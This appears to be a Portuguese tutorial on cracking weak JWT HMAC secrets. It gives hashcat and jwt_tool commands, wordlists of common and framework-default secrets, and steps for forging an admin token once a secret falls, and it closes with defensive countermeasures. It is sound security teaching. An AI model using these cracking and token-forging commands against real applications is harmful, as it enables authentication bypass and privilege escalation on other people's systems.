Força Bruta da Chave Secreta
Domine a arte de quebrar segredos HMAC JWT
O que você vai descobrir
🎯 Por que isso importa
Uma pesquisa da Truffle Security descobriu que mais de 1,2% dos JWTs em produção usam segredos adivinháveis que podem ser quebrados em segundos. Quando você entende a força bruta de segredos JWT, está aprendendo a identificar uma das vulnerabilidades mais críticas na autenticação web moderna—as mesmas técnicas que profissionais de segurança usam para avaliar a segurança de aplicações no mundo inteiro.
🔍 O que você vai aprender
Você dominará as ferramentas e metodologias padrão da indústria que especialistas em segurança usam para quebrar segredos JWT. Isso inclui hashcat para ataques computacionais de alta velocidade, jwt_tool para exploração prática, e SecLists para ataques abrangentes com wordlists—o mesmo arsenal usado por pentesters em avaliações reais.
🚀 Sua primeira vitória
Nos próximos 5 minutos, você quebrará seu primeiro segredo JWT usando exatamente as mesmas técnicas de linha de comando que especialistas em segurança utilizam. Você verá quão rapidamente segredos fracos caem contra ataques sistemáticos e entenderá por que a geração adequada de segredos é crucial para aplicações seguras.
🔧 Tente agora
Aprenda a técnica quebrando este token JWT de exemplo que usa o segredo fraco "hackerdna-secret-key"
# Primeiro, instale o jwt_tool (a ferramenta padrão da indústria para teste JWT)
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests ratelimit
# Salve este token JWT de exemplo para praticar
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkhhY2tlckROQSBTdHVkZW50Iiwicm9sZSI6InN0dWRlbnQiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY3MjUzMTIwMH0.GSnrsS9IwIjCPHI1uRwwq0FR0nM0SavXAHXm9i61G3I" > example.jwt
# Teste se este token de exemplo usa o segredo fraco
python3 jwt_tool.py $(cat example.jwt) -C -p hackerdna-secret-key
# Sucesso! Você deve ver:
# [+] hackerdna-secret-key is the CORRECT key!
Você verá: O token de exemplo quebrado usando "hackerdna-secret-key" - provando que este segredo fraco foi usado para assinar o token. Isso demonstra quão rapidamente segredos previsíveis caem contra testes sistemáticos.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Como a assinatura HMAC realmente funciona (chega de mistério!)
- Por que segredos fracos comprometem completamente a segurança JWT
- Metodologias de ataque profissionais e padrões de sucesso
- Ferramentas padrão da indústria para criptografia computacional
🔍 Habilidades de especialista
- Usar hashcat como um consultor de segurança
- Aproveitar SecLists para ataques sistemáticos
- Calcular viabilidade de ataque e requisitos de tempo
- Implementar contramedidas defensivas adequadas
Entendendo a vulnerabilidade do segredo JWT
Um segredo JWT é simplesmente uma senha usada para assinar tokens—se essa senha é fraca, todo o sistema de autenticação fica comprometido
O problema fundamental não é com a tecnologia JWT em si, mas com como os desenvolvedores escolhem as chaves de assinatura HMAC. Em vez de usar chaves aleatórias criptograficamente seguras, muitas aplicações usam senhas previsíveis que podem ser sistematicamente quebradas.
Padrões fracos mais comuns
Segredos padrão e de exemplo que desenvolvedores esquecem de mudar em produção
secret
your-256-bit-secret
mysecretkey
jwt_secret
companyname123
Vetores de ataque
Como profissionais de segurança testam sistematicamente segredos fracos
Ataques por dicionário
Wordlists específicas da empresa
Testes de padrões de framework
Mutações baseadas em padrões
Impacto real
Consequências documentadas de avaliações de segurança reais
Bypass completo de auth
Escalação de privilégios
Comprometimento de dados
Sequestro de sessão
Ferramentas e técnicas de ataque profissionais
Profissionais de segurança usam duas ferramentas principais para quebrar segredos JWT: hashcat para poder computacional e jwt_tool para exploração prática. Entender ambas dá a você o kit de ferramentas profissional completo.
Hashcat: o campeão de velocidade
Hashcat aproveita a GPU do seu computador para testar milhões de combinações de senhas por segundo. É o padrão da indústria para quebra de senhas em alta velocidade usado por profissionais de segurança no mundo inteiro.
Ataque Hashcat passo a passo
# Passo 1: Salve o token JWT para o hashcat
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o"
echo "$JWT" > jwt.hash
# Passo 2: Crie wordlist com segredos comuns
echo -e "secret\npassword\nadmin\ntest\n123456\nyour-256-bit-secret" > wordlist.txt
# Passo 3: Lance o ataque
hashcat -m 16500 jwt.hash wordlist.txt --force
# Passo 4: Verifique os resultados
hashcat -m 16500 jwt.hash --show
Esta mesma metodologia é usada por pentesters durante avaliações de segurança para identificar implementações JWT fracas em sistemas de produção.
JWT_Tool: a solução tudo-em-um
JWT_tool é especificamente projetado para testes de segurança JWT. Pode quebrar segredos e imediatamente forjar novos tokens—perfeito para ataques práticos e demonstrações.
Teste rápido de segredo e exploração
# Teste com um segredo fraco específico
python3 jwt_tool.py [SEU_TOKEN] -C -p "secret"
# Teste com uma wordlist personalizada
python3 jwt_tool.py [SEU_TOKEN] -C -d wordlist.txt
# Uma vez que o segredo é encontrado, forje um novo token
python3 jwt_tool.py [TOKEN] -S hs256 -p "segredo_encontrado" -I -pc role -pv admin
# Exemplo de saída quando bem-sucedido:
# [+] secret is the CORRECT key!
# jwttool_abc123 - Tampered token - HMAC Signing:
# [+] eyJhbGciOiJIUzI1NiIs... (token admin forjado)
Essa capacidade de exploração imediata torna o jwt_tool essencial para demonstrar o impacto real de segredos JWT fracos.
SecLists: a coleção de wordlists profissional
SecLists é a coleção padrão da indústria de wordlists usada por profissionais de segurança no mundo inteiro. Contém milhões de senhas otimizadas para diferentes cenários de ataque.
📥 Download: https://github.com/danielmiessler/SecLists
SecLists essenciais para ataques JWT
# Wordlists de alto sucesso para vitórias rápidas
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
# Para ataques abrangentes
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
# Exemplo de uso com hashcat
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
Essas wordlists são o resultado de anos de pesquisa de segurança e análise de senhas reais, dando a você os mesmos recursos usados por pentesters profissionais.
Cenários de ataque do mundo real
Estes cenários representam padrões reais encontrados em avaliações de segurança, demonstrando a aplicação prática de técnicas de quebra de segredos JWT.
Cenário 1: o segredo "Secret" (30 segundos)
A palavra "secret" é o segredo JWT fraco mais comum encontrado em aplicações de produção no mundo inteiro. Testá-la deve ser seu primeiro passo.
# Teste o segredo fraco mais comum
TOKEN="seu_token_jwt_aqui"
python3 jwt_tool.py $TOKEN -C -p "secret"
# Se bem-sucedido: [+] secret is the CORRECT key!
# Então forje um token admin:
python3 jwt_tool.py $TOKEN -S hs256 -p "secret" -I -pc role -pv admin
Taxa de sucesso: Com base em pesquisas de segurança, a palavra "secret" quebra com sucesso uma porção significativa de implementações JWT vulneráveis encontradas na natureza.
Cenário 2: ataque de padrões de framework (5 minutos)
Muitos frameworks web incluem configurações JWT de exemplo com segredos padrão que desenvolvedores esquecem de mudar em produção.
# Crie wordlist com padrões de framework
cat > framework_defaults.txt << 'EOF'
secret
your-256-bit-secret
mySecretKey
super-secret
jwt-secret
django-insecure-key
base64:your-base64-encoded-secret-here
EOF
# Teste contra o alvo
python3 jwt_tool.py $TOKEN -C -d framework_defaults.txt
Perspectiva profissional: Segredos padrão de framework são encontrados em produção mais frequentemente do que a maioria dos desenvolvedores percebe, tornando isso um vetor de ataque de alto valor.
Cenário 3: ataque profissional sistemático (1 hora)
Quando testes rápidos falham, profissionais de segurança usam uma abordagem sistemática com wordlists comprovadas e regras de mutação.
# Ataque profissional multi-estágio
# Estágio 1: Alvos de alta probabilidade (5 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/best1050.txt
# Estágio 2: Senhas comuns estendidas (15 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# Estágio 3: Ataque abrangente com regras (30 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/best64.rule
# Estágio 4: Termos específicos da aplicação (10 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Discovery/Web-Content/common.txt
Padrão profissional: Esta abordagem sistemática é usada por pentesters e consultores de segurança para avaliar de forma abrangente a força de segredos JWT.
Viabilidade de ataque e análise de tempo
Entender quais ataques valem a pena perseguir é crucial para testes de segurança eficientes. Veja como profissionais de segurança avaliam a força de segredos JWT.
Taxa de sucesso alta
Vitórias rápidas (menos de 1 hora)
- Segredos padrão de framework
- Chaves de ambiente de desenvolvimento
- Aplicações de tutorial/exemplo
- Palavras de dicionário simples
Ferramentas: jwt_tool, senhas comuns SecLists
Taxa de sucesso média
Ataques estendidos (1-24 horas)
- Segredos alfanuméricos de 8 caracteres
- Palavras de dicionário modificadas
- Padrões específicos de empresa/app
- Bancos de dados de senhas vazadas
Ferramentas: hashcat com GPU, arquivos de regras, wordlists personalizadas
Taxa de sucesso baixa
Não vale a pena tentar
- Segredos aleatórios de 12+ caracteres
- Chaves 256-bit geradas corretamente
- Senhas únicas complexas
- Chaves geradas por HSM
Conselho: Concentre esforços em outro lugar
Métricas de sucesso do mundo real
Baseado em resultados reais de testes de penetração e pesquisa de segurança:
- Pesquisa Truffle Security: Mais de 1,2% dos JWTs em produção usam segredos adivinháveis
- Avaliação Balwurk Security: Segredo JWT vulnerável quebrado em 160ms usando ataque por dicionário
- Pesquisa Truffle Security: A palavra "your-256-bit-secret" foi encontrada em 2,3% dos segredos JWT quebrados
Essas estatísticas demonstram por que testes sistemáticos de segredos JWT são um componente crítico de avaliações de segurança de aplicações.
Contramedidas defensivas
Entender técnicas de ataque permite que você implemente defesas adequadas. Veja como profissionais de segurança protegem implementações JWT contra ataques de força bruta.
Geração de segredos seguros
Comandos profissionais de geração de segredos
# Gere um segredo 256-bit criptograficamente seguro
openssl rand -base64 32
# Método Python (recomendado)
import secrets, base64
secret = base64.b64encode(secrets.token_bytes(32)).decode()
print(f"JWT_SECRET={secret}")
# Método Node.js
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('base64');
console.log(`JWT_SECRET=${secret}`);
Requisitos mínimos de segurança
- Entropia mínima de 256-bit - 32 bytes criptograficamente aleatórios
- Único por ambiente - Segredos diferentes para dev, staging, produção
- Rotação regular - Mude os segredos periodicamente
- Armazenamento seguro - Variáveis de ambiente, nunca hardcoded
Melhores práticas de implementação
Melhorias algorítmicas
- Use RS256 em vez de HS256 - Elimina o problema do segredo compartilhado
- Implemente gerenciamento de chaves adequado - Sistemas dedicados de gerenciamento de segredos
- Habilite rotação de tokens - Tokens de curta duração com mecanismo de refresh
Segurança operacional
- Prevenção de exposição de tokens - Minimize vazamentos de tokens JWT em logs, URLs ou armazenamento do cliente
- Monitoramento - Detecte padrões de uso de token incomuns e assinaturas inválidas
- Scan de segredos - Detecção automatizada em repositórios de código e pipelines CI/CD
🎯 Sua expertise em quebra de segredos JWT está completa!
Você agora entende força bruta de segredos JWT como um profissional de segurança. Você pode identificar implementações vulneráveis, usar ferramentas padrão da indústria para ataques sistemáticos, e implementar medidas defensivas adequadas que protegem aplicações contra essas vulnerabilidades.
Pronto para aplicar técnicas avançadas de ataque JWT